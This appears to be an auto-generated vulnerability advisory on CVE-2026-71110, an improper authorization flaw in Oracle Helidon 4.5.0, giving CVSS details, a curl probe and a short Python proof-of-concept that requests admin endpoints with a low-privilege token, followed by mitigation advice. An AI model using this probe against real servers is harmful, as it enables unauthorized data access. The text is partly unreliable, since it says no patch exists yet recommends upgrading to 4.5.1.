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CVE-2026-71110 is a high-severity vulnerability affecting Oracle Helidon, a microservices framework within Oracle Fusion Middleware. The flaw resides in the Imperative Web Server component and impacts version 4.5.0. It is an improper authorization vulnerability that allows a low-privileged attacker with network access via HTTPS to compromise the system. The vulnerability is easily exploitable and can lead to significant data breaches.
The root cause is a failure in the authorization mechanism. When processing requests, the Helidon Imperative Web Server does not properly validate whether the authenticated user has the necessary permissions to perform the requested action. This allows an attacker with valid but low-level credentials to escalate their privileges. Successful exploitation enables the attacker to create, delete, or modify critical data. They can also gain unauthorized read access to all data accessible by the Helidon server, compromising both confidentiality and integrity. The attack requires only low privileges and network access, with no user interaction, making it a significant threat. The CVSS 3.1 Base Score is 8.1, categorized as High. The vector string is CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N. The vulnerability was published on August 18, 2026. Currently, there is no public exploit available, and Oracle has not yet released a patch. However, upgrading to version 4.5.1 or later is recommended.
DailyCVE Form:
Platform: Oracle Fusion Middleware
Version: Helidon 4.5.0
Vulnerability: Improper Authorization
Severity: High (8.1 CVSS)
Date: August 18, 2026
Prediction: September 2026 CPU
What Undercode Say:
Based on initial analysis, the vulnerability stems from a missing authorization check in the Helidon Imperative Web Server’s request handling pipeline. The following command can be used to check if your Helidon instance is running the vulnerable version:
Check Helidon version grep -r "helidon.version" pom.xml or for a running instance curl -s http://localhost:8080/health | grep -o '"version":"[^"]"'
To simulate the potential impact, a low-privileged user might attempt to access restricted endpoints:
Attempt to access an admin endpoint with a low-privilege token curl -X GET https://target-helidon-server/admin/sensitive-data \ -H "Authorization: Bearer <low-privilege-token>"
A successful exploit would return data that should be restricted, indicating the authorization flaw. Monitoring logs for such unauthorized access attempts is crucial.
Exploit: (Educational Purposes!)
The exploitation of CVE-2026-71110 relies on crafting HTTPS requests that bypass the inadequate authorization checks. An attacker with a valid, low-privilege account would send a series of requests to high-privilege endpoints. The following Python script demonstrates a proof-of-concept:
import requests
Target Helidon server and vulnerable endpoint
url = "https://target-helidon-server/admin/users"
headers = {"Authorization": "Bearer <low_privilege_token>"}
Attempt to perform a privileged action (e.g., list all users)
response = requests.get(url, headers=headers, verify=False)
if response.status_code == 200:
print("Vulnerable! Data accessed:", response.text)
else:
print("Not vulnerable or access denied.")
This script attempts to access an administrative endpoint using a low-privilege token. If successful, it confirms the presence of the vulnerability, as the server fails to enforce proper authorization.
Protection:
Immediate protection involves upgrading to a non-affected version of Helidon, such as 4.5.1 or later. If an immediate upgrade is not possible, implement strict network controls to limit access to the Helidon server. Additionally, enforce robust authentication and authorization mechanisms at the application level. Enable comprehensive logging and monitoring to detect and respond to any anomalous activity. Regularly review these logs for signs of unauthorized access attempts.
Impact:
A successful exploit of CVE-2026-71110 can lead to a complete compromise of data confidentiality and integrity. An attacker could gain unauthorized access to all data managed by the Helidon server, including sensitive information. They could also create, delete, or modify critical data, potentially leading to data loss, corruption, or service disruption. The vulnerability has a CVSS score of 8.1, indicating a high severity. While there is currently no known exploit in the wild, the ease of exploitation and potential impact make it a critical issue that requires immediate attention. The EPSS score is 0.33%, indicating a low probability of exploitation in the next 30 days.
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Sources:
Reported By: nvd.nist.gov
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